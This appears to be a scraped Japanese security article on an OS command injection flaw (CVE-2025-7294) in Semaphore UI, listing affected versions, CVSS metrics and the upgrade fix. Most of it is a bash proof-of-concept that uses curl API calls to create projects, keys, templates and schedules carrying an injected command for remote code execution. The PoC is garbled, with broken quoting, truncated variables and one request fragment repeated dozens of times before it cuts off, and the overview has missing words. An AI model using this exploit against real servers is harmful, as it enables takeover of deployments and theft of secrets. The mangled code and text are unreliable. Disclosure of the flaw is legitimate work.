Semaphore UI OS Command Injection Vulnerability (CVE-2025-7294) and Patch

漏洞概述 semaphoreUI v2.18.13 OS コマンドインジェクション - 重大な脆弱性 脆弱性の種類: OS コマンドインジェクション（パラメータインジェクション、CWE-88 - CWE-78） 記述: の 処理において、Manager または Owner ロールを持つユーザーは、どのプロジェクトでもリモートコードを実行できます。 の オプションを利用することで、攻撃者は任意のコマンドを実行できます。コマンドは Semaphore サーバープロセス内で実行され（スケジューラの cron プール経由）、ジョブが実行されていなくても実行されます。ランナーの分離とメインサーバーの暗号化キーおよびプロジェクトの秘密情報の回避が可能になります。デフォルトのインストール（ ）で再現可能であり、デフォルトの構成は不要です。 影響範囲 影響バージョン: 2.18.12, 2.18.13, 2.18.16 修正バージョン: 2.18.20 CVSS v3 基本メトリクス: - 攻撃者: ネットワーク - 攻撃の複雑さ: 低 - 必要な特権: 低 - ユーザー操作: 不要 - スコープ: 変更あり - 機密性: 高 - 完全性: 高 - 可用性: 高 CVE ID: CVE-2025-7294 弱点: CWE-78, CWE-88 影響を受けるユーザー: デフォルトの を使用しているすべての Semaphore デプロイメント。攻撃者は Manager または Owner ロールを持つユーザーを1人必要とするだけです。 が有効な場合、すべての認証済みユーザーはプロジェクトを自分で作成し、その所有者になれるため、エクスプロイト可能です。グローバル管理者は常に条件を満たします。 修正方法 修正バージョン: 2.18.20 またはそれ以上のバージョンへアップグレードしてください。 POC コード ```bash Terminal 1 — 設定 + ユーザー + サーバー cd ~\PoC && mkdir -p tmp cat > config.json onboard.sh /dev/null PROJ_PID=$(curl -s -X "$JAR" -X POST "$BASE/api/projects" -H "Content-Type: application/json" -d '{"name":"team-project","alert":false}') python3 -c "import sys,json;print(json.load(sys.stdin)['id'])" rce.sh <<EOF #!/usr/bin/env bash set -euo pipefail BASE="${BASE:-http://127.0.0.1:3000}"; LOGIN="${LOGIN:-lowpriv}"; PASS="${PASS:-LowPriv123!}" JAR=$(mktemp); PROJ_PID=$(cat /tmp/PoC/project_id.txt) CMD="${CMD:-bash -c 'echo \$884 JAR=$(mktemp); JID=$(python3 -c "import sys,json;print(json.load(sys.stdin)['id'])" <<< "$(curl -s -X "$JAR" -X POST "$BASE/api/project/$PROJ_PID/keys" -H "Content-Type: application/json" -d '{"name":"\\\"\\",\"type\":\"application/json\",\"id\":\"$JID"}')") BID=$(python3 -c "import sys,json;print(json.dumps([{\"name\":\"\\\"\\",\"type\":\"application/json\",\"id\":\"$JID\"}]))") TID=$(python3 -c "import sys,json;print(json.dumps([{\"name\":\"\\\"\\",\"type\":\"application/json\",\"id\":\"$JID\"}]))") POST /api/project/$PROJ_PID/templates -H "Content-Type: application/json" -d '{"name":"\\\"\\",\"project_id\":\"$PROJ_PID\",\"app\":\"bash\",\"playbook\":\"/tmp/$PROJ_PID/schedules -H "Content-Type: application/json" -d '{"name":"\\\"\\",\"project_id\":\"$PROJ_PID\",\"app\":\"bash\",\"playbook\":\"/tmp/$PROJ_PID/schedules -H "Content-Type: application/json" -d '{"name":"\\\"\\",\"project_id\":\"$PROJ_PID\",\"app\":\"bash\",\"playbook\":\"/tmp/$PROJ_PID/schedules -H "Content-Type: application/json" -d '{"name":"\\\"\\",\"project_id\":\"$PROJ_PID\",\"app\":\"bash\",\"playbook\":\"/tmp/$PROJ_PID/schedules -H "Content-Type: application/json" -d '{"name":"\\\"\\",\"project_id\":\"$PROJ_PID\",\"app\":\"bash\",\"playbook\":\"/tmp/$PROJ_PID/schedules -H "Content-Type: application/json" -d '{"name":"\\\"\\",\"project_id\":\"$PROJ_PID\",\"app\":\"bash\",\"playbook\":\"/tmp/$PROJ_PID/schedules -H "Content-Type: application/json" -d '{"name":"\\\"\\",\"project_id\":\"$PROJ_PID\",\"app\":\"bash\",\"playbook\":\"/tmp/$PROJ_PID/schedules -H "Content-Type: application/json" -d '{"name":"\\\"\\",\"project_id\":\"$PROJ_PID\",\"app\":\"bash\",\"playbook\":\"/tmp/$PROJ_PID/schedules -H "Content-Type: application/json" -d '{"name":"\\\"\\",\"project_id\":\"$PROJ_PID\",\"app\":\"bash\",\"playbook\":\"/tmp/$PROJ_PID/schedules -H "Content-Type: application/json" -d '{"name":"\\\"\\",\"project_id\":\"$PROJ_PID\",\"app\":\"bash\",\"playbook\":\"/tmp/$PROJ_PID/schedules -H "Content-Type: application/json" -d '{"name":"\\\"\\",\"project_id\":\"$PROJ_PID\",\"app\":\"bash\",\"playbook\":\"/tmp/$PROJ_PID/schedules -H "Content-Type: application/json" -d '{"name":"\\\"\\",\"project_id\":\"$PROJ_PID\",\"app\":\"bash\",\"playbook\":\"/tmp/$PROJ_PID/schedules -H "Content-Type: application/json" -d '{"name":"\\\"\\",\"project_id\":\"$PROJ_PID\",\"app\":\"bash\",\"playbook\":\"/tmp/$PROJ_PID/schedules -H "Content-Type: application/json" -d '{"name":"\\\"\\",\"project_id\":\"$PROJ_PID\",\"app\":\"bash\",\"playbook\":\"/tmp/$PROJ_PID/schedules -H "Content-Type: application/json" -d '{"name":"\\\"\\",\"project_id\":\"$PROJ_PID\",\"app\":\"bash\",\"playbook\":\"/tmp/$PROJ_PID/schedules -H "Content-Type: application/json" -d '{"name":"\\\"\\",\"project_id\":\"$PROJ_PID\",\"app\":\"bash\",\"playbook\":\"/tmp/$PROJ_PID/schedules -H "Content-Type: application/json" -d '{"name":"\\\"\\",\"project_id\":\"$PROJ_PID\",\"app\":\"bash\",\"playbook\":\"/tmp/$PROJ_PID/schedules -H "Content-Type: application/json" -d '{"name":"\\\"\\",\"project_id\":\"$PROJ_PID\",\"app\":\"bash\",\"playbook\":\"/tmp/$PROJ_PID/schedules -H "Content-Type: application/json" -d '{"name":"\\\"\\",\"project_id\":\"$PROJ_PID\",\"app\":\"bash\",\"playbook\":\"/tmp/$PROJ_PID/schedules -H "Content-Type: application/json" -d '{"name":"\\\"\\",\"project_id\":\"$PROJ_PID\",\"app\":\"bash\",\"playbook\":\"/tmp/$PROJ_PID/schedules -H "Content-Type: application/json" -d '{"name":"\\\"\\",\"project_id\":\"$PROJ_PID\",\"app\":\"bash\",\"playbook\":\"/tmp/$PROJ_PID/schedules -H "Content-Type: application/json" -d '{"name":"\\\"\\",\"project_id\":\"$PROJ_PID\",\"app\":\"bash\",\"playb

目標達成すべての支援者に感謝 — 100%達成しました！

Semaphore UI OS Command Injection Vulnerability (CVE-2025-7294) and Patch

このソースからの他の記事

目標達成 すべての支援者に感謝 — 100%達成しました！

Semaphore UI OS Command Injection Vulnerability (CVE-2025-7294) and Patch

このソースからの他の記事

目標達成すべての支援者に感謝 — 100%達成しました！